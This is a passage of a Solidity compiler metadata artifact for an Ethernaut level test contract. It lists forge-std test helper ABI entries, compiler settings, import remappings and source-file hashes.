payable\",\"name\":\"\",\"type\":\"address\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"string\",\"name\":\"contractName\",\"type\":\"string\"}],\"name\":\"getOldFactory\",\"outputs\":[{\"internalType\":\"address\",\"name\":\"addr\",\"type\":\"address\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"uint256\",\"name\":\"numBlocks\",\"type\":\"uint256\"}],\"name\":\"mineBlocks\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"setUp\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"contract Ethernaut\",\"name\":\"ethernaut\",\"type\":\"address\"},{\"internalType\":\"address\",\"name\":\"instance\",\"type\":\"address\"}],\"name\":\"submitLevelInstance\",\"outputs\":[{\"internalType\":\"bool\",\"name\":\"\",\"type\":\"bool\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"targetArtifactSelectors\",\"outputs\":[{\"components\":[{\"internalType\":\"address\",\"name\":\"addr\",\"type\":\"address\"},{\"internalType\":\"bytes4[]\",\"name\":\"selectors\",\"type\":\"bytes4[]\"}],\"internalType\":\"struct StdInvariant.FuzzSelector[]\",\"name\":\"targetedArtifactSelectors_\",\"type\":\"tuple[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"targetArtifacts\",\"outputs\":[{\"internalType\":\"string[]\",\"name\":\"targetedArtifacts_\",\"type\":\"string[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"targetContracts\",\"outputs\":[{\"internalType\":\"address[]\",\"name\":\"targetedContracts_\",\"type\":\"address[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"targetInterfaces\",\"outputs\":[{\"components\":[{\"internalType\":\"address\",\"name\":\"addr\",\"type\":\"address\"},{\"internalType\":\"string[]\",\"name\":\"artifacts\",\"type\":\"string[]\"}],\"internalType\":\"struct StdInvariant.FuzzInterface[]\",\"name\":\"targetedInterfaces_\",\"type\":\"tuple[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"targetSelectors\",\"outputs\":[{\"components\":[{\"internalType\":\"address\",\"name\":\"addr\",\"type\":\"address\"},{\"internalType\":\"bytes4[]\",\"name\":\"selectors\",\"type\":\"bytes4[]\"}],\"internalType\":\"struct StdInvariant.FuzzSelector[]\",\"name\":\"targetedSelectors_\",\"type\":\"tuple[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"targetSenders\",\"outputs\":[{\"internalType\":\"address[]\",\"name\":\"targetedSenders_\",\"type\":\"address[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"testInit\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"testSolve\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"}],\"devdoc\":{\"kind\":\"dev\",\"methods\":{},\"version\":1},\"userdoc\":{\"kind\":\"user\",\"methods\":{\"testInit()\":{\"notice\":\"Check the intial state of the level and enviroment.\"},\"testSolve()\":{\"notice\":\"Test the solution for the level.\"}},\"version\":1}},\"settings\":{\"compilationTarget\":{\"test/levels/Instance.t.sol\":\"TestInstance\"},\"evmVersion\":\"shanghai\",\"libraries\":{},\"metadata\":{\"bytecodeHash\":\"ipfs\"},\"optimizer\":{\"enabled\":true,\"runs\":1000},\"remappings\":[\":ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/\",\":erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/\",\":forge-std/=lib/forge-std/src/\",\":openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/\",\":openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/\",\":openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/\",\":openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/\",\":openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/\"]},\"sources\":{\"lib/forge-std/src/Base.sol\":{\"keccak256\":\"0x4ff1a785311017d1eedb1b4737956fa383067ad34eb439abfec1d989754dde1c\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://f553622969b9fdb930246704a4c10dfaee6b1a4468c142fa7eb9dc292a438224\",\"dweb:/ipfs/QmcxqHnqdQsMVtgsfH9VNLmZ3g7GhgNagfq7yvNCDcCHFK\"]},\"lib/forge-std/src/StdAssertions.sol\":{\"keccak256\":\"0xf513292ab066e6017db48ca749c1e63a44dfc5cba0326fc65c718f96e029d361\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://02d715ae2898f1fabd08133f80e6a7a3b87a2796ca5d23d1cb3fed9f4367f34c\",\"dweb:/ipfs/QmfESqa4j3PQAvvdfrnDQ1xUH1TnVCfvZYHsAEDK8z4X4k\"]},\"lib/forge-std/src/StdChains.sol\":{\"keccak256\":\"0x9cc29c28f49d0b7f7b2f1aa32d8273f8a087bf62eb3fb22d893df824052c25ef\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://42dcb36cb10b878a0d5b20ce3a4a3ba4f51f44d7731a66ac1133c699bc80b31b\",\"dweb:/ipfs/QmY6q7SaHQMLBb3rS6xZdArPaXoskWeqF6oJwUeZ3gKLZj\"]},\"lib/forge-std/src/StdCheats.sol\":{\"keccak256\":\"0xb72f3519e0bf7d31df5d68557525f4fc55d861c3fb3b0f7793144ef7c94cbeb7\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://f3456d0f78e6f61203fa7871ba2df0d35925f10db3baee14be623ce2a35b84e2\",\"dweb:/ipfs/QmWE6QQSBvJifHMraisBTrf1x4WCwrDoTPLX8UKajTiApc\"]},\"lib/forge-std/src/StdError.sol\":{\"keccak256\":\"0xbf477b11a42d7611696956546bcfaa29317d1166bf65e402344599c05943fc77\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://bc2e117d1135e030862b96a6526a43feb38d396cc79857f1fb696d4eff0e5fd6\",\"dweb:/ipfs/QmdSuQ5RrQudTLsNmWXGEeVJX8gR5U9XPm6m4dwwuQnJrj\"]},\"lib/forge-std/src/StdInvariant.sol\":{\"keccak256\":\"0x67299bfacd77fddfa2a67b8e2b901e0e333618a4975fb94850b07475e51f6de6\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://1b61121d310f4053ce344b345b4a9ccf43b059daf9097ec2647f594beaca896d\",\"dweb:/ipfs/QmZUCoTtXBM9zfAZVbj2dFPPnKaV1CSZzXE7zictyg3Gfz\"]},\"lib/forge-std/src/StdJson.sol\":{\"keccak256\":\"0x62bed173cb126f6d5006706cf249bac8a2d51bfa18f773f314784ff18adc622d\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://5acc33dddbf2492e37dc32e89cd56ce917272d303a6874805f3a5768a6bfbf54\",\"dweb:/ipfs/QmTsgFhcpUf16gAVazUXU3WspgX8nHke2hzVCvoqS25WEp\"]},\"lib/forge-std/src/StdMath.sol\":{\"keccak256\":\"0xd90ad4fd8aeaeb8929964e686e769fdedd5eded3fc3815df194a0ab9f91a3fb2\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://7919b70f636c7b805223992f28ad1ad0145d6c1385b5931a3589aface5fe6c92\",\"dweb:/ipfs/QmY7FRaULwoGgFteF8GawjQJRfasNgpWnU2aiMsFrYpuTC\"]},\"lib/forge-std/src/StdStorage.sol\":{\"keccak256\":\"0x651d84d948832f0ef45686417aa68ffb871378fa788a4123dbf37844903c66f3\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://ff20f5ac9de3dc3ba86b1bf1f2723174e82ce3499ad67cb0ccfa7d28baeee678\",\"dweb:/ipfs/QmRZkUFKz7AmF7yk6o317sk822HHhGVPXZQgX8G4LfYfft\"]},\"lib/forge-std/src/StdStyle.sol\":{\"keccak256\":\"0x43e2a8a9b9c2574dabe74f11adf6f782df218f463540e3b5b563609fe108597d\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://51363ca97404cf4128e1141428949768c31929e75e014b02c85e887fbbb4f1b8\",\"dweb:/ipfs/QmVhtbQc2fU4rRmbcfBtz34mAgG4BAZBsbna1Ca4SkoPsK\"]},\"lib/forge-std/src/StdToml.sol\":{\"keccak256\":\"0xc8a57915ace96f5b6a85b57e57690fc038cad9034a3dc368c11828a3707c61ab\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://fa880a1a6e5d94005dcf4811b4c0df8d9c06407017ae111bd351483e2b76a72d\",\"dweb:/ipfs/QmcxkEE58gE1vDcZofTr8QpvdjXjgR72yYg7o4vTPSLCsy\"]},\"lib/forge-std/src/StdUtils.sol\":{\"keccak256\":\"0x502b18a4becda6ecd91fa8b419d8034946bfa80e6cc7f6497f51f8565bfadae0\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://bf499ee483a1dfd02023d4ce78ed4029a49794ccd5b849aaab912faea0d2ba61\",\"dweb:/ipfs/QmP6hwNZW7sYbQK9fBzuZWxfLm6Swx2nKzvZ54qWNqQkzX\"]},\"lib/forge-std/src/Test.sol\":{\"keccak256\":\"0x3b4bb409a156dee9ce261458117fe9f81080ca844a8a26c07c857c46d155effe\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://5792c69fe24bdc063a14e08fe68275007fdb1e5e7e343840a77938cb7e95a64e\",\"dweb:/ipfs/QmcAMhaurUwzhytJFYix4vRNeZeV8g27b8LnV3t7dvYtiK\"]},\"lib/forge-std/src/Vm.sol\":{\"keccak256\":\"0x30d73c4fea34a791ad7334dd701df60fbb565c643556aadd6621e49e48895d1f\",\"license\":\"MIT OR Apache-2.0\",\"urls\":[\"bzz-raw://be9cf80e55eff0f49ad0ab3c44214e56a3e53b5ecafe311a521f5472fa4bbf59\",\"dweb:/ipfs/QmQHrZZoscvkfKSD2m6jhktrh8ieSLV2fg9DHGDHJiBkjT\"]},\"lib/forge-std/src/console.sol\":{\"keccak256\":\"0x91d5413c2434ca58fd278b6e1e79fd98d10c83931cc2596a6038eee4daeb34ba\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://91ccea707361e48b9b7a161fe81f496b9932bc471e9c4e4e1e9c283f2453cc70\",\"dweb:/ipfs/QmcB66sZhQ6Kz7MUHcLE78YXRUZxoZnnxZjN6yATsbB2ec\"]},\"lib/forge-std/src/console2.sol\":{\"keccak256\":\"0x954646445d1014c3cd85c7918f5e7adeeca5ee44b68c00bafa237e597a4e35ea\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://516fa3be52da4763147175bfba4be0aa011fadbb0c1afb01f97265bd4cee7973\",\"dweb:/ipfs/QmdixAyMJefx7qePChgdxcBH5MxhmN7vsqPuPLx3CgrVmF\"]},\"lib/forge-std/src/interfaces/IERC165.sol\":{\"keccak256\":\"0x414b2861b1acbf816ccb7346d3f16cf6c1e002e9e5e40d2f1f26fa5ddc2ea600\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://698352fb240868ea8f1d1fe389993035eeab930f10d06934f80ccfb2b6ccbfbc\",\"dweb:/ipfs/QmT6WLHAgXxFhh12kWym895oTzXid1326iZiwT3pyfggoT\"]},\"lib/forge-std/src/interfaces/IERC20.sol\":{\"keccak256\":\"0x4cab887298790f908c27de107e4e2907ca5413aee482ef776f8d2f353c5ef947\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://bb715e0c4a2bdbe432bb624501506041f06e878e0b72675aebba30ad2c2b72e7\",\"dweb:/ipfs/QmWhhLSvkxS2NrukJJHqFY8gDVE5r9rD4PfHvR24pwdKv9\"]},\"lib/forge-std/src/interfaces/IERC721.sol\":{\"keccak256\":\"0xf069262a264fdb69f8f37a10d2df7374649e9ba73f8414c9c8a3b51184625f15\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://924a41ca82a68ffbd503a5faf2f76d13e9938f10501a71094716f12bb64b4b7f\",\"dweb:/ipfs/QmdWnqfKc5ZGhmxNPTde4zrFchnv9Yk9MpCMb2rdhXE5gm\"]},\"lib/forge-std/src/interfaces/IMulticall3.sol\":{\"keccak256\":\"0x7aac1389150499a922d1f9ef5749c908cef127cb2075b92fa17e9cb611263d0a\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://d95ebb7c7c463e08ebc12dab639945752fb2480acfc6e86da32f72732a7fd0c0\",\"dweb:/ipfs/QmNXK8P8oPWwajsQHvAHw3JPyQidPLCGQN3hWu1Lk6PBL2\"]},\"lib/forge-std/src/mocks/MockERC20.sol\":{\"keccak256\":\"0xadbdfc6639edec00ba94bb1133a0fd8de31ccafe45c2ef5df9b3ca61b60b559b\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://bc766f01bccf669abac8cc7b2096cc1352a66471ca3772ae61b1801dedc4ed4f\",\"dweb:/ipfs/QmNigaPj1LYkP7Z5xr4ijkUxr2K66fDGeoifG3WoM9ruyw\"]},\"lib/forge-std/src/mocks/MockERC721.sol\":{\"keccak256\":\"0x3293dcbb7acd28df553c954e4e39e288bf10aab7ecda8d50ef21b4f4a91a28d9\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://9eb374daf6df34f4392f8926f1fddbce9f22c423066aeaefdfbe77395f77967b\",\"dweb:/ipfs/QmWR81zBJRX2uyRjveGzikYPj6ZwKppWsU49YEQXTLWUsN\"]},\"lib/forge-std/src/safeconsole.sol\":{\"keccak256\":\"0xbaf41fdc6c54297e7cd8250e48b0f20eaac918e342a1028cef3f9a52ac086381\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://a500ad81dea226f9910e6b50f99a9ff930105e393a692cbfb2185e4cdb4424ae\",\"dweb:/ipfs/QmVbUQpXNMmMWRiy4FvBNczzq46BMGfUoBikvSHNiCxVTq\"]},\"lib/openzeppelin-contracts-08/contracts/access/Ownable.sol\":{\"keccak256\":\"0xa94b34880e3c1b0b931662cb1c09e5dfa6662f31cba80e07c5ee71cd135c9673\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://40fb1b5102468f783961d0af743f91b9980cf66b50d1d12009f6bb1869cea4d2\",\"dweb:/ipfs/QmYqEbJML4jB1GHbzD4cUZDtJg5wVwNm3vDJq1GbyDus8y\"]},\"lib/openzeppelin-contracts-08/contracts/interfaces/draft-IERC1822.sol\":{\"keccak256\":\"0x1d4afe6cb24200cc4545eed814ecf5847277dfe5d613a1707aad5fceecebcfff\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://383fb7b8181016ac5ccf07bc9cdb7c1b5045ea36e2cc4df52bcbf20396fc7688\",\"dweb:/ipfs/QmYJ7Cg4WmE3rR8KGQxjUCXFfTH6TcwZ2Z1f6tPrq7jHFr\"]},\"lib/openzeppelin-contracts-08/contracts/proxy/ERC1967/ERC1967Proxy.sol\":{\"keccak256\":\"0xa2b22da3032e50b55f95ec1d13336102d675f341167aa76db571ef7f8bb7975d\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://96b6d77a20bebd4eb06b801d3d020c7e82be13bd535cb0d0a6b7181c51dab5d5\",\"dweb:/ipfs/QmPUR9Cv9jNFdQX6PtBfaBW1ZCnKwiu65R2VD5kbdanDyn\"]},\"lib/openzeppelin-contracts-08/contracts/proxy/ERC1967/ERC1967Upgrade.sol\":{\"keccak256\":\"0xabf3f59bc0e5423eae45e459dbe92e7052c6983628d39008590edc852a62f94a\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://89c2a0f70157c13845be5cb49b078a6374fee3a78fa950052a3af26190255da8\",\"dweb:/ipfs/QmUcvMEQH1oMM2pUyMuDiBUKdvvnTz1NRB8bmPHrVq8725\"]},\"lib/openzeppelin-contracts-08/contracts/proxy/Proxy.sol\":{\"keccak256\":\"0xc130fe33f1b2132158531a87734153293f6d07bc263ff4ac90e85da9c82c0e27\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://8831721b6f4cc26534d190f9f1631c3f59c9ff38efdd911f85e0882b8e360472\",\"dweb:/ipfs/QmQZnLErZNStirSQ13ZNWQgvEYUtGE5tXYwn4QUPaVUfPN\"]},\"lib/openzeppelin-contracts-08/contracts/proxy/beacon/IBeacon.sol\":{\"keccak256\":\"0xd50a3421ac379ccb1be435fa646d66a65c986b4924f0849839f08692f39dde61\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://ada1e030c0231db8d143b44ce92b4d1158eedb087880cad6d8cc7bd7ebe7b354\",\"dweb:/ipfs/QmWZ2NHZweRpz1U9GF6R1h65ri76dnX7fNxLBeM2t5N5Ce\"]},\"lib/openzeppelin-contracts-08/contracts/proxy/transparent/TransparentUpgradeableProxy.sol\":{\"keccak256\":\"0xa6a787e7a901af6511e19aa53e1a00352db215a011d2c7a438d0582dd5da76f9\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://a6c4477d480bac20d681ade0e712b77ad828acf530a1d5c0abc5fb78068a05a1\",\"dweb:/ipfs/QmdBqsK8CcUceTeWzhHwFDEvKMoHimwtV96Lbim7ZBtCb8\"]},\"lib/openzeppelin-contracts-08/contracts/utils/Address.sol\":{\"keccak256\":\"0xd6153ce99bcdcce22b124f755e72553295be6abcd63804cfdffceb188b8bef10\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://35c47bece3c03caaa07fab37dd2bb3413bfbca20db7bd9895024390e0a469487\",\"dweb:/ipfs/QmPGWT2x3QHcKxqe6gRmAkdakhbaRgx3DLzcakHz5M4eXG\"]},\"lib/openzeppelin-contracts-08/contracts/utils/Context.sol\":{\"keccak256\":\"0xe2e337e6dde9ef6b680e07338c493ebea1b5fd09b43424112868e9cc1706bca7\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://6df0ddf21ce9f58271bdfaa85cde98b200ef242a05a3f85c2bc10a8294800a92\",\"dweb:/ipfs/QmRK2Y5Yc6BK7tGKkgsgn3aJEQGi5aakeSPZvS65PV8Xp3\"]},\"lib/openzeppelin-contracts-08/contracts/utils/StorageSlot.sol\":{\"keccak256\":\"0xd5c50c54bf02740ebd122ff06832546cb5fa84486d52695a9ccfd11666e0c81d\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://39e096c60a6eb1c6a257122d515496bd92d0c6a693a8f07acb6aa4b1263e95d4\",\"dweb:/ipfs/QmPs5trJBacCiSkezP6tpevapuRYWNY6mqSFzsMCJj7e6B\"]},\"lib/openzeppelin-contracts-upgradeable/contracts/proxy/utils/Initializable.sol\":{\"keccak256\":\"0x89be10e757d242e9b18d5a32c9fbe2019f6d63052bbe46397a430a1d60d7f794\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://f103ee2e4aecd37aac6ceefe670709cdd7613dee25fa2d4d9feaf7fc0aaa155e\",\"dweb:/ipfs/QmRiNZLoJk5k3HPMYGPGjZFd2ke1ZxjhJZkM45Ec9GH9hv\"]},\"lib/openzeppelin-contracts-upgradeable/contracts/utils/AddressUpgradeable.sol\":{\"keccak256\":\"0x9c80f545915582e63fe206c6ce27cbe85a86fc10b9cd2a0e8c9488fb7c2ee422\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://310136ad60820af4177a11a61d77a3686faf5fca4942b600e08fc940db38396b\",\"dweb:/ipfs/QmbCzMNSTL7Zi7M4UCSqBrkHtp4jjxUnGbkneCZKdR1qeq\"]},\"src/Ethernaut.sol\":{\"keccak256\":\"0x01f9997fd51455eaa7b174c8386c934f7ea7354f173cd9187ed32685432654d0\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://8d19eb22c9dc3f1d3766107d3edfbaedd96440668048479d7b207a359655e0e2\",\"dweb:/ipfs/QmNjBSmd4qYyq2oAz7htXgTVzTVfLV24mv66J1Muz5i67v\"]},\"src/levels/Instance.sol\":{\"keccak256\":\"0xb6b0b01614d22cfc73537b5682d203d5f2bb91519c737cfe31db6242804d7564\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://3a0321e33e5dd1006c3a849eaade7ad139890c3cd40c50235b3efcc00817d522\",\"dweb:/ipfs/QmY2CyYnBjSYHsJqFuWABh78xQxagUa897iemGymtfq1yt\"]},\"src/levels/InstanceFactory.sol\":{\"keccak256\":\"0xf594b79983d1c79a193f2fea669631d7c92957c08aaeec411899ac013cb161fb\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://b0dd1ff9574b4061faaca23a38bd4de7dd3f9016c4d7128202a5a1a7e542a647\",\"dweb:/ipfs/Qmc9Nzg386zPiuEnHfgUyQPHjSTWEL5aav6CoqREcpK2Ew\"]},\"src/levels/base/Level.sol\":{\"keccak256\":\"0x23e8a2c9454707c888fc4dc4cc44d89e5928e8d58a1f9c8f5c16c36697aadfdf\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://693402ec163e362b086874db09be2d1d11111276f70100bf9192a0fb3f5d9ccd\",\"dweb:/ipfs/QmSsygUUkJHRh13rGUQ4BrMTnzmPQKrRsBABS4Yk11kfAA\"]},\"src/metrics/Statistics.sol\":{\"keccak256\":\"0x5484f46a7d8eaf3af521657b6622e28e4830bf62bbc8b7d43524461d4f6d3aca\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://bb81e25a880f2fdb59a6950bac19dc3ebc9aaddafed613ee4c43a5e630ea36b5\",\"dweb:/ipfs/QmXXTsXhMFBS9KtbqonTnSyRpiYtyMpS5EpJnCRU5EoUUf\"]},\"src/proxy/ProxyStats.sol\":{\"keccak256\":\"0x2f7e0594da4e2eac4d49b83ec2bb702e01ae9c3efab2cb5fd56efc8793d109be\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://9d16c8ba4af0a29e260df788252370b5e64c3d35691542164d2c084745ee55a2\",\"dweb:/ipfs/QmXD8kxy5UAWSeawQGEzeXFFpZEDSTyrQT51YmHYg27AgS\"]},\"test/levels/Instance.t.sol\":{\"keccak256\":\"0x608c91d50d9526ff694ee8a156202bcc9c3e18388abb239efa2efda26ac2fc38\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://52ecd318ff857a78eb7f3a37732188dd7da9c26580800d0359c5f7363dce69de\",\"dweb:/ipfs/QmRuVRA4zXdxazZxRgV3NmNK4ddYLkCy3fqbj9W516aMHi\"]},\"test/utils/Utils.sol\":{\"keccak256\":\"0x4692fd15f85d17daf46d58fc58215e61ff0cc51ffe789605d2e9e56bdbfc8307\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://2d610d54bfcb2a7907d01c086804a8f1c5834041683bc3123d2aa1a32d785998\",\"dweb:/ipfs/QmTMPYbzgh5Fa1gYhn6XtvAe8FtPQJt7cXxsxmbggquE97\"]}},\"version\":1}","metadata":{"compiler":{"version":"0.8.24+commit.e11b9ed9"},"language":"Solidity","output":{"abi":[{"inputs":[{"internalType":"string","name":"","type":"string","indexed":false}],"type":"event","name":"log","anonymous":false},{"inputs":[{"internalType":"address","name":"","type":"address","indexed":false}],"type":"event","name":"log_address","anonymous":false},{"inputs":[{"internalType":"uint256[]","name":"val","type":"uint256[]","indexed":false}],"type":"event","name":"log_array","anonymous":false},{"inputs":[{"internalType":"int256[]","name":"val","type":"int256[]","indexed":false}],"type":"event","name":"log_array","anonymous":false},{"inputs":[{"internalType":"address[]","name":"val","type":"address[]","indexed":false}],"type":"event","name":"log_array","anonymous":false},{"inputs":[{"internalType":"bytes","name":"","type":"bytes","indexed":false}],"type":"event","name":"log_bytes","anonymous":false},{"inputs":[{"internalType":"bytes32","name":"","type":"bytes32","indexed":false}],"type":"event","name":"log_bytes32","anonymous":false},{"inputs":[{"internalType":"int256","name":"","type":"int256","indexed":false}],"type":"event","name":"log_int","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"address","name":"val","type":"address","indexed":false}],"type":"event","name":"log_named_address","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"uint256[]","name":"val","type":"uint256[]","indexed":false}],"type":"event","name":"log_named_array","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"int256[]","name":"val","type":"int256[]","indexed":false}],"type":"event","name":"log_named_array","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"address[]","name":"val","type":"address[]","indexed":false}],"type":"event","name":"log_named_array","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"bytes","name":"val","type":"bytes","indexed":false}],"type":"event","name":"log_named_bytes","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"bytes32","name":"val","type":"bytes32","indexed":false}],"type":"event","name":"log_named_bytes32","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"int256","name":"val","type":"int256","indexed":false},{"internalType":"uint256","name":"decimals","type":"uint256","indexed":false}],"type":"event","name":"log_named_decimal_int","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"uint256","name":"val","type":"uint256","indexed":false},{"internalType":"uint256","name":"decimals","type":"uint256","indexed":false}],"type":"event","name":"log_named_decimal_uint","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"int256","name":"val","type":"int256","indexed":false}],"type":"event","name":"log_named_int","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"string","name":"val","type":"string","indexed":false}],"type":"event","name":"log_named_string","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"uint256","name":"val","type":"uint256","indexed":false}],"type":"event","name":"log_named_uint","anonymous":false},{"inputs":[{"internalType":"string","name":"","type":"string","indexed":false}],"type":"event","name":"log_string","anonymous":false},{"inputs":[{"internalType":"uint256","name":"","type":"uint256","indexed":false}],"type":"event","name":"log_uint","anonymous":false},{"inputs":[{"internalType":"bytes","name":"","type":"bytes","indexed":false}],"type":"event","name":"logs","anonymous":false},{"inputs":[],"stateMutability":"view","type":"function","name":"IS_TEST","outputs":[{"internalType":"bool","name":"","type":"bool"}]},{"inputs":[{"internalType":"contract Ethernaut","name":"ethernaut","type":"address"},{"internalType":"contract Level","name":"level","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"stateMutability":"nonpayable","type":"function","name":"createLevelInstance","outputs":[{"internalType":"address","name":"instance","type":"address"}]},{"inputs":[{"internalType":"uint256","name":"userNum","type":"uint256"}],"stateMutability":"nonpayable","type":"function","name":"createUsers","outputs":[{"internalType":"address payable[]","name":"","type":"address[]"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"excludeArtifacts","outputs":[{"internalType":"string[]","name":"excludedArtifacts_","type":"string[]"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"excludeContracts","outputs":[{"internalType":"address[]","name":"excludedContracts_","type":"address[]"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"excludeSenders","outputs":[{"internalType":"address[]","name":"excludedSenders_","type":"address[]"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"failed","outputs":[{"internalType":"bool","name":"","type":"bool"}]},{"inputs":[{"internalType":"address","name":"owner","type":"address"}],"stateMutability":"nonpayable","type":"function","name":"getEthernautWithStatsProxy","outputs":[{"internalType":"contract Ethernaut","name":"","type":"address"}]},{"inputs":[],"stateMutability":"nonpayable","type":"function","name":"getNextUserAddress","outputs":[{"internalType":"address payable","name":"","type":"address"}]},{"inputs":[{"internalType":"string","name":"contractName","type":"string"}],"stateMutability":"nonpayable","type":"function","name":"getOldFactory","outputs":[{"internalType":"address","name":"addr","type":"address"}]},{"inputs":[{"internalType":"uint256","name":"numBlocks","type":"uint256"}],"stateMutability":"nonpayable","type":"function","name":"mineBlocks"},{"inputs":[],"stateMutability":"nonpayable","type":"function","name":"setUp"},{"inputs":[{"internalType":"contract Ethernaut","name":"ethernaut","type":"address"},{"internalType":"address","name":"instance","type":"address"}],"stateMutability":"nonpayable","type":"function","name":"submitLevelInstance","outputs":[{"internalType":"bool","name":"","type":"bool"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"targetArtifactSelectors","outputs":[{"internalType":"struct StdInvariant.FuzzSelector[]","name":"targetedArtifactSelectors_","type":"tuple[]","components":[{"internalType":"address","name":"addr","type":"address"},{"internalType":"bytes4[]","name":"selectors","type":"bytes4[]"}]}]},{"inputs":[],"stateMutability":"view","type":"function","name":"targetArtifacts","outputs":[{"internalType":"string[]","name":"targetedArtifacts_","type":"string[]"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"targetContracts","outputs":[{"internalType":"address[]","name":"targetedContracts_","type":"address[]"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"targetInterfaces","outputs":[{"internalType":"struct StdInvariant.FuzzInterface[]","name":"targetedInterfaces_","type":"tuple[]","components":[{"internalType":"address","name":"addr","type":"address"},{"internalType":"string[]","name":"artifacts","type":"string[]"}]}]},{"inputs":[],"stateMutability":"view","type":"function","name":"targetSelectors","outputs":[{"internalType":"struct StdInvariant.FuzzSelector[]","name":"targetedSelectors_","type":"tuple[]","components":[{"internalType":"address","name":"addr","type":"address"},{"internalType":"bytes4[]","name":"selectors","type":"bytes4[]"}]}]},{"inputs":[],"stateMutability":"view","type":"function","name":"targetSenders","outputs":[{"internalType":"address[]","name":"targetedSenders_","type":"address[]"}]},{"inputs":[],"stateMutability":"nonpayable","type":"function","name":"testInit"},{"inputs":[],"stateMutability":"nonpayable","type":"function","name":"testSolve"}],"devdoc":{"kind":"dev","methods":{},"version":1},"userdoc":{"kind":"user","methods":{"testInit()":{"notice":"Check the intial state of the level and enviroment."},"testSolve()":{"notice":"Test the solution for the 